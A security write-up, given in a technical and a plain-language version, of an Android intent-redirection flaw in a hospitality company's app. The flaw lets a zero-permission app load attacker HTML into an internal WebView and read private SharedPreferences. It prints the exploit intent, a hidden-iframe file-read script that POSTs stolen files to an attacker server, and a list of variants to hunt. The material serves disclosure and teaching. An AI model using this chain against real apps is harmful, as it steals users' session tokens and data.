Stealing App Internal Files via Intent Redirection to Insecure WebView
An exported launcher activity accepted a class name from an incoming intent and used it to launch any internal activity, including a WebView activity that allowed file access from file URLs. A zero-permission third-party app could therefore load attacker content into that WebView and read the app's internal SharedPreferences files, exfiltrating them to an external server.
Published on abdelnasserr.medium.com
Android Security
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was the Android app of a global hospitality company. The researcher was reversing the app when they found that its main launcher activity, BootActivity, is exported and accepts a string extra called extraDeepLinkClass. The app resolves that string with Class.forName() and launches whatever internal activity it names, forwarding the attacker's extras. The report describes this as a way to reach an internal WebView activity that is configured with setAllowUniversalAccessFromFileURLs(true), and from there to read the app's internal SharedPreferences files and send them to an external server. The report notes that the submission was closed as a duplicate.
Setup
The work was done by reversing the Android app; the report does not name a decompiler or other tooling. The proof of concept is a third-party app that requires zero permissions. The package name of the target is redacted in the report as com.redacted.app, and the attacker's own provider lives in com.attacker.poc.provider. No app version, Android version or device details are given.
Finding it
The starting point was the exported launcher activity. It takes extraDeepLinkClass from the incoming intent and resolves it with Class.forName() without any validation:
public static final Class<?> resolveClass(String className) { try { return Class.forName(className); } catch (ClassNotFoundException unused) { return null; }}
The resolved class is started as an activity with all extras forwarded, so any internal activity in the app can be launched by a third-party app. That means any internal activity in the app can be launched by a third-party app. and the interesting one is the WebView activity, because of how its WebView is configured:
settings.setAllowContentAccess(true);settings.setAllowFileAccessFromFileURLs(true);settings.setAllowUniversalAccessFromFileURLs(true);settings.setAllowFileAccess(true);
The content:// URI supplied through the intent extras is loaded into this WebView. With universal access from file URLs enabled, a page loaded from the attacker's provider can read file:// URLs belonging to the app, such as its SharedPreferences files.
Exploitation
Step 1: craft the intent
The PoC app builds an intent aimed at the exported BootActivity. It names the internal WebView activity in extraDeepLinkClass and supplies a content:// URI that points at the attacker's own provider:
The first extra is the class name that BootActivity will resolve and launch. The second is the URL that the WebView activity will load; because it is a content:// URI served by the attacker's app, the attacker controls the page that ends up inside the WebView. No permission is declared by the PoC app.
Step 2: the app launches the internal activity
The app resolves the class via Class.forName() and launches the WebView activity, which loads the attacker's content:// URI. The attacker's ContentProvider serves an HTML page for that URI.
Step 3: read internal files from the page
The served page uses hidden iframes to read internal files. The report shows the iframe primitive first:
<iframe src="file:///data/data/com.redacted.app/shared_prefs/prefs.xml">
and then the script that drives it, iterating over candidate preference file names, reading each frame's document and posting the contents to the attacker's server:
var P = "/data/data/com.redacted.app/shared_prefs/";["app_preferences.xml", "AppPrefs.xml"].forEach(function(file) { var ifr = document.createElement("iframe"); ifr.style.display = "none"; ifr.src = "file://" + P + file; ifr.onload = function() { var d = ifr.contentDocument.documentElement.outerHTML; fetch(SERVER + "/collect", { method: "POST", body: JSON.stringify({ path: file, data: d }) }); }; document.body.appendChild(ifr);});
Each iframe points at a file under /data/data/com.redacted.app/shared_prefs/. When the frame loads, the script reads contentDocument.documentElement.outerHTML and sends it as JSON to SERVER + "/collect" with a POST. Because setAllowUniversalAccessFromFileURLs is true, the cross-origin read from content:// to file:// succeeds. The stolen SharedPreferences, described in the report as session tokens and user data, are sent to the attacker's server.

The image accompanies the description of the page that uses hidden iframes to read internal files, and of the cross-origin read from content:// to file:// succeeding before the stolen SharedPreferences are sent to the attacker's server.
Root cause
Two mistakes combine. First, the exported BootActivity treats a class name from an untrusted intent as a routing instruction and resolves it with Class.forName() without an allowlist, then starts the result with the caller's extras. That defeats the normal Android boundary that keeps non-exported activities private. Second, the WebView activity enables setAllowUniversalAccessFromFileURLs(true) (along with setAllowFileAccessFromFileURLs(true), setAllowFileAccess(true) and setAllowContentAccess(true)), which lets a page from the attacker's content:// origin read file:// URLs, including the app's private SharedPreferences. The report presents the two mistakes as a chain.
Impact
A third-party app with zero permissions can launch internal activities of the target app and, through the WebView, read the app's internal SharedPreferences files and exfiltrate them to an external server. The report characterises the stolen data as session tokens and user data.
Fix
The report's takeaways are that exported activities accepting class names as extras need strict allowlist validation, and that WebViews should never have setAllowUniversalAccessFromFileURLs(true) enabled. The report does not say whether the vendor changed anything; it states that the submission was closed as a duplicate.
Variants to test
- Grep the manifest for exported activities and services, then look for extras that are used as class names, component names or deep link targets. A positive result is an extra that reaches
Class.forName(),Intent.setClassName()orstartActivity()without an allowlist. - Look for WebView configuration blocks in decompiled code and check for
setAllowUniversalAccessFromFileURLs(true)orsetAllowFileAccessFromFileURLs(true). A positive result is an activity that loads a URL from an intent extra while those flags are set. - Chain the two: send a
content://URI from your own provider to the WebView activity and have the served page iframe afile://path inside the app's data directory. A positive result is readable file contents in the frame's document. - Try the same iframe technique against other private paths the app can access, such as its databases or cache, to see how far the file access flag reaches.
- Check whether the class-name extra can also reach non-activity components or activities that perform privileged actions with forwarded extras, which would widen the impact beyond file disclosure.
What happened, in plain words
An Android app made by a global hospitality company had a door that was left open to any other app on the phone. The researcher who found it was taking the app apart to see how it works, a process called reversing. While doing that, they noticed that the app's main starting screen, the one that opens when you tap the app icon, is exported. Exported means other apps on the same phone are allowed to send it messages. That screen accepts a piece of text from whoever sends the message, a value called extraDeepLinkClass, and uses it to resolve and launch an internal activity. It does this without checking whether the name is one it should accept.
By sending a carefully chosen name, another app can make the target app open one of its own internal screens, a WebView screen, that is normally not reachable from outside. That screen displays web pages, and it is configured in a way that lets a web page read files stored inside the app. The researcher built a small proof of concept app that needs no permissions at all, used it to read the app's private settings files, and sent their contents to a server. The report says the submission was closed as a duplicate, meaning someone else had already reported the same issue.
This article walks through the same steps as the technical write-up, but explains each idea from scratch. If you have ever used a browser, you already know enough to follow along.
Background: the pieces involved
Before the steps, here are the concepts that come up, explained as if you have never heard of them.
Android app. A program that runs on an Android phone. Each app is a package with a unique name, like a surname, so the phone can tell apps apart. In this report the target app's package name is hidden and written as com.redacted.app.
Activity. One screen of an Android app. A login screen is an activity, a settings screen is an activity. Activities can be started by the app itself or, if they are exported, by other apps.
Intent. The message an app sends to ask Android to do something, such as open a screen. An intent can carry extra pieces of data, called extras, which are like fields on a form attached to the request. One extra might say which screen to open, another might carry a web address.
Exported. A setting on an activity that says other apps may start it. If an activity is not exported, only its own app can start it. This is a basic privacy boundary, like a room in a house that only the family can enter.
Class name. In programming, code is organised into named units called classes. A class name is just the text label of one of those units, for example com.redacted.app.webview.AmexWebViewActivity. If a program takes a class name from an untrusted source and uses it to decide what to run, it is trusting a stranger to choose which room to open.
WebView. A mini browser built into an Android app. Apps use it to show web content without leaving the app, for example a help page or a login page from a website. Because it is a browser, it follows browser rules about which pages may read which other pages.
SharedPreferences. A small file where an Android app stores simple settings and small pieces of data, such as whether you are logged in. On the phone it lives inside the app's private folder, under /data/data/<package name>/shared_prefs/. Other apps are not supposed to be able to read it.
Session token. A short string that a server gives you after you log in, so it can recognise you on later requests without asking for your password again. Think of it as a cloakroom ticket: whoever holds the ticket can collect the coat. If someone steals it, they can act as you.
ContentProvider. An Android component that lets one app serve data to another through a content:// address, similar to how a website serves pages through an http:// address. The app that owns the provider decides what data it hands out.
URI. An address. file:///data/data/... points at a file on the device, content://... points at data served by a ContentProvider, and https://... points at something on the web.
Origin. In browsers, the combination of scheme, host and port that a page came from, for example https://example.com. Browsers normally stop a page from one origin from reading the contents of a page from another origin. This rule is called the same-origin policy, and it is the main wall that keeps websites from reading each other's data.
Cross-origin read. An attempt by a page from one origin to read data from another origin. Normally the browser blocks it. The vulnerability here is that a WebView setting removes that block for files.
iframe. A way to embed one web page inside another, like a picture frame on a wall holding a smaller picture. A hidden iframe is one you cannot see, but the surrounding page can still try to read what is inside it.
Intent redirection. The name for this kind of bug: an app takes a destination from an incoming message and forwards the request there, so an outsider can use the app as a middleman to reach places they could not reach directly. It is like a receptionist who will pass any note to any room without checking who wrote it.
Proof of concept (PoC). A small program built to demonstrate that a bug is real, without causing harm beyond what is needed to show it.
Duplicate. A bug report that describes an issue the vendor has already received. It is usually closed without a reward.
Finding it
The researcher was reversing the app, which means unpacking the installed app file and reading its code to understand its behaviour. The report does not name the tools used for this.
The starting point was the app's main launcher activity, called BootActivity. It is exported, so any app on the phone can send it an intent. It reads a string extra called extraDeepLinkClass and turns that text into a class with a built-in Java function, Class.forName(). Here is the code that does it:
public static final Class<?> resolveClass(String className) { try { return Class.forName(className); } catch (ClassNotFoundException unused) { return null; }}
Line by line:
public static final Class<?> resolveClass(String className)declares a function namedresolveClassthat takes one piece of text,className, and returns a class. TheClass<?>part means the result is some class, and the?says the code does not care which one.try {starts a block where an error might happen.return Class.forName(className);asks Java to look up the class whose name is inclassNameand hand it back. If the text names a real class in the app, Java finds it. There is no check that the name is on an approved list.} catch (ClassNotFoundException unused) {catches the error that happens when the name does not match any class.return null;returns nothing in that case, so the caller knows the lookup failed.- The closing braces end the function.
The important part is what is missing: nothing compares className against a list of allowed names. The app then starts the resolved class as an activity and passes along all the extras that came in with the original intent. The effect is that a third-party app can launch any internal activity of the target app.
Among all those internal activities, one is especially interesting: the WebView activity. The report names the fragment AmexWebViewFragment and configures its WebView with these settings:
settings.setAllowContentAccess(true);settings.setAllowFileAccessFromFileURLs(true);settings.setAllowUniversalAccessFromFileURLs(true);settings.setAllowFileAccess(true);
Line by line:
settings.setAllowContentAccess(true);allows the WebView to loadcontent://addresses, which are served by ContentProviders.settings.setAllowFileAccessFromFileURLs(true);allows a page that was itself loaded from afile://address to read otherfile://addresses.settings.setAllowUniversalAccessFromFileURLs(true);goes further: it allows any page, whatever address it came from, to readfile://addresses. This is the setting that removes the browser's usual wall between origins for local files.settings.setAllowFileAccess(true);allows the WebView to loadfile://addresses at all.
Each of these is a switch that loosens a browser safety rule. Together they mean that a page the attacker controls, loaded into this WebView, can reach into the app's private files. The content:// URI supplied through the intent extras is what gets loaded into this WebView, so the attacker chooses the page.
Exploitation
The attack happens in three steps.
Step 1: craft the intent
The proof of concept app builds an intent aimed at the exported BootActivity. It puts the internal WebView activity's class name in extraDeepLinkClass, and a content:// address pointing at the attacker's own ContentProvider in another extra:
Line by line:
Intent intent = new Intent();creates an empty message.intent.setClassName("com.redacted.app", "com.redacted.app.core.activity.BootActivity");addresses the message to the target app's exportedBootActivity. The first string is the app's package, the second is the activity inside it.intent.putExtra("extraDeepLinkClass", "com.redacted.app.webview.AmexWebViewActivity");attaches the class name thatBootActivitywill look up and launch. This is the internal WebView activity, which the attacker could not start directly because it is not exported.intent.putExtra("extra-web-view-activity-url", "content://com.attacker.poc.provider/exploit");attaches the address the WebView should load. It points at the attacker's own ContentProvider, so the attacker controls the page that ends up inside the target app's WebView.startActivity(intent);sends the message. Android delivers it toBootActivitybecause that activity is exported.
The PoC app declares no permissions. On Android, permissions are the phone's way of asking the user to approve access to things like the camera or contacts. This attack needs none of that.
Step 2: the app launches the internal activity
The target app receives the intent. BootActivity takes the text in extraDeepLinkClass, passes it to Class.forName(), gets back the WebView activity class, and starts it. All the extras are forwarded, so the WebView activity receives the content:// address and loads it. The attacker's ContentProvider answers that address with an HTML page written by the attacker. At this point the attacker's page is running inside the target app's WebView, with the WebView's relaxed file settings in force.
Step 3: read internal files from the page
The page uses hidden iframes to read files inside the app. The report first shows the basic building block, a single iframe pointing at a preferences file:
<iframe src="file:///data/data/com.redacted.app/shared_prefs/prefs.xml">
Line by line:
<iframestarts an embedded frame, a page inside a page.src="file:///data/data/com.redacted.app/shared_prefs/prefs.xml"tells the frame to load a file from the device. The path is inside the target app's private data folder, in itsshared_prefsdirectory, and the file is one of its settings files.>closes the tag.
On its own, an iframe only displays a file. The next script is what actually reads the contents and sends them out:
var P = "/data/data/com.redacted.app/shared_prefs/";["app_preferences.xml", "AppPrefs.xml"].forEach(function(file) { var ifr = document.createElement("iframe"); ifr.style.display = "none"; ifr.src = "file://" + P + file; ifr.onload = function() { var d = ifr.contentDocument.documentElement.outerHTML; fetch(SERVER + "/collect", { method: "POST", body: JSON.stringify({ path: file, data: d }) }); }; document.body.appendChild(ifr);});
Line by line:
var P = "/data/data/com.redacted.app/shared_prefs/";stores the folder path as a shortcut, so it does not have to be typed twice.["app_preferences.xml", "AppPrefs.xml"].forEach(function(file) {takes a list of two likely file names and runs the following code once for each. Trying more than one name is a guess at what the app calls its settings files.var ifr = document.createElement("iframe");creates a new iframe in memory.ifr.style.display = "none";hides it, so the victim sees nothing.ifr.src = "file://" + P + file;points the frame at the file, building the address from the folder path and the file name.ifr.onload = function() {sets up code to run once the frame has loaded the file.var d = ifr.contentDocument.documentElement.outerHTML;reads the loaded file's contents as HTML text. This is the cross-origin read: the page came fromcontent://and the frame holds afile://address, and normally the browser would refuse to hand over the contents.fetch(SERVER + "/collect", {sends the stolen text to the attacker's server at the/collectpath.method: "POST",uses a POST request, the kind a browser uses to submit data to a server.body: JSON.stringify({ path: file, data: d })packages the file name and its contents as JSON, a simple text format for structured data, so the server can tell which file is which.});closes the fetch call.};closes the onload function.document.body.appendChild(ifr);puts the hidden frame into the page, which makes the browser load it.});closes the loop over the file names.
Because setAllowUniversalAccessFromFileURLs is true, the cross-origin read from content:// to file:// succeeds. The stolen SharedPreferences, described in the report as session tokens and user data, are sent to the attacker's server. In everyday terms: the attacker's page sits inside the target app's own browser, opens the app's private settings files in hidden frames, copies what it finds, and posts it out over the network.

The image accompanies the description of the page that uses hidden iframes to read internal files, and of the cross-origin read from content:// to file:// succeeding before the stolen SharedPreferences are sent to the attacker's server.
Root cause
Two mistakes combine.
- The exported
BootActivitytreats a class name from an untrusted intent as a routing instruction. It resolves it withClass.forName()without an allowlist and starts the result with the caller's extras. That defeats the normal Android boundary that keeps non-exported activities private. - The WebView activity enables
setAllowUniversalAccessFromFileURLs(true), along withsetAllowFileAccessFromFileURLs(true),setAllowFileAccess(true)andsetAllowContentAccess(true). That lets a page from the attacker'scontent://origin readfile://addresses, including the app's private SharedPreferences.
The report presents the chain as the issue: the first mistake gets the attacker's page into the WebView, and the second lets that page read files.
Impact
A third-party app with zero permissions can launch internal activities of the target app and, through the WebView, read the app's internal SharedPreferences files and send them to an external server. The report describes the stolen data as session tokens and user data.
Fix
The report's takeaways are that exported activities accepting class names as extras need strict allowlist validation, and that WebViews should never have setAllowUniversalAccessFromFileURLs(true) enabled. An allowlist means the app checks the incoming name against a fixed list of names it is willing to launch, and rejects anything else. The report does not say whether the vendor changed anything; it states that the submission was closed as a duplicate.
Variants to test
These are directions for anyone who wants to look for similar bugs in other apps.
- Grep the manifest for exported activities and services, then look for extras that are used as class names, component names or deep link targets. The manifest is the app's declaration of its components and which ones are exported. A positive result is an extra that reaches
Class.forName(),Intent.setClassName()orstartActivity()without an allowlist. - Look for WebView configuration blocks in decompiled code and check for
setAllowUniversalAccessFromFileURLs(true)orsetAllowFileAccessFromFileURLs(true). A positive result is an activity that loads a URL from an intent extra while those flags are set. - Chain the two: send a
content://URI from your own provider to the WebView activity and have the served page iframe afile://path inside the app's data directory. A positive result is readable file contents in the frame's document. - Try the same iframe technique against other private paths the app can access, such as its databases or cache, to see how far the file access flag reaches.
- Check whether the class-name extra can also reach non-activity components or activities that perform privileged actions with forwarded extras, which would widen the impact beyond file disclosure.
Glossary
- Activity: one screen of an Android app, such as a login screen or a settings screen.
- Allowlist: a fixed list of names or values that are permitted; anything not on the list is rejected.
- Android manifest: the file in an app that declares its components and which of them are exported.
- Class: a named unit of code in a programming language such as Java.
- Class.forName(): a Java function that looks up a class by its name and returns it.
- ContentProvider: an Android component that serves data to other apps through a
content://address. - content:// URI: an address that points at data served by a ContentProvider.
- Cross-origin read: an attempt by a page from one origin to read data from another origin, normally blocked by the browser.
- Decompiled code: code recovered from an app's compiled files so it can be read by a person.
- Duplicate: a bug report describing an issue the vendor has already received.
- Exported: a setting that allows other apps to start an activity or use a component.
- Extra: a piece of data attached to an intent, like a field on a form.
- file:// URI: an address that points at a file on the device.
- iframe: an embedded web page inside another web page.
- Intent redirection: a bug where an app takes a destination from an incoming message and forwards the request there, letting an outsider reach places they could not reach directly.
- JSON: a simple text format for structured data, used to package values for sending.
- Origin: the combination of scheme, host and port that a web page came from, used by browsers to decide what a page may read.
- Package name: the unique name that identifies an Android app, such as
com.redacted.app. - Permission: an approval an Android app must request to access things like the camera or contacts.
- POST request: a request a browser uses to send data to a server.
- Proof of concept (PoC): a small program built to demonstrate that a bug is real.
- Reversing: taking an app apart to read and understand its code.
- Same-origin policy: the browser rule that stops a page from one origin reading data from another origin.
- Session token: a string a server gives you after login so it can recognise you later; whoever holds it can act as you.
- SharedPreferences: a small file where an Android app stores settings and small pieces of data, inside its private folder.
- URI: an address, such as
file://,content://orhttps://. - WebView: a mini browser built into an Android app for showing web content.